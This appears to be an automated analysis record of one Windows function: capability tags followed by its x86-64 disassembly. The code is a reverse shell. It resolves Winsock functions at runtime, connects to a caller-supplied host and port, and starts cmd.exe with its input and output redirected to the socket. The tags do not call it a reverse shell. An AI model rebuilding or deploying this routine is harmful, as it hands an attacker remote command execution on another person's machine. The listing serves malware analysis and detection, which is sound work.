Function at 0x401560
Capabilities:
Create a process with modified i/o handles and window
Create process on windows
Link many functions at runtime

Disassembly:
push rbp
sub rsp, 0x2e0
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x270], rcx
mov dword [rbp + 0x278], edx
lea rcx, str.Ws2_32.dll
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryW]
call rax
mov qword [rbp + 0x258], rax
mov rax, qword [rbp + 0x258]
lea rdx, str.WSAStartup
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x250], rax
mov rax, qword [rbp + 0x258]
lea rdx, str.WSASocketA
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x248], rax
mov rax, qword [rbp + 0x258]
lea rdx, str.inet_addr
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x240], rax
mov rax, qword [rbp + 0x258]
lea rdx, str.htons
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x238], rax
mov rax, qword [rbp + 0x258]
lea rdx, str.WSAConnect
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x230], rax
mov rax, qword [rbp + 0x258]
lea rdx, str.closesocket
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x228], rax
mov rax, qword [rbp + 0x258]
lea rdx, str.WSACleanup
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x220], rax
lea rdx, [rbp + 0x60]
mov rax, qword [rbp + 0x250]
mov ecx, 0x202
call rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov rax, qword [rbp + 0x248]
mov r9d, 0
mov r8d, 6
mov edx, 1
mov ecx, 2
call rax
mov qword [rbp + 0x218], rax
mov word [rbp + 0x200], 2
mov rax, qword [rbp + 0x240]
mov rcx, qword [rbp + 0x270]
call rax
mov dword [rbp + 0x204], eax
mov eax, dword [rbp + 0x278]
movzx edx, ax
mov rax, qword [rbp + 0x238]
mov ecx, edx
call rax
mov word [rbp + 0x202], ax
lea rdx, [rbp + 0x200]
mov rcx, qword [rbp + 0x218]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov rax, qword [rbp + 0x230]
mov r9d, 0
mov r8d, 0x10
call rax
cmp eax, 0xffffffff
jne 0x401761
mov rdx, qword [rbp + 0x218]
mov rax, qword [rbp + 0x228]
mov rcx, rdx
call rax
mov rax, qword [rbp + 0x220]
call rax
jmp 0x401866
mov eax, dword [rbp + 0x278]
mov r8d, eax
mov rdx, qword [rbp + 0x270]
lea rcx, str.Connected_to__s:_d_n
call sym.printf
movabs rax, 0x6578652e646d63
mov qword [rbp + 0x58], rax
lea rax, [rbp - 0x30]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp - 0x30], 0x68
mov dword [rbp + 0xc], 0x101
mov rax, qword [rbp + 0x218]
mov qword [rbp + 0x30], rax
mov rax, qword [rbp + 0x30]
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x28]
mov qword [rbp + 0x20], rax
lea rax, [rbp + 0x58]
lea rdx, [rbp + 0x40]
mov qword [rsp + 0x48], rdx
lea rdx, [rbp - 0x30]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 1
mov r9d, 0
mov r8d, 0
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
mov eax, dword [rbp + 0x50]
mov edx, eax
lea rcx, str.Process_Created__lu_n
call sym.printf
mov rax, qword [rbp + 0x40]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp + 0x40]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x48]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
nop
add rsp, 0x2e0
pop rbp
ret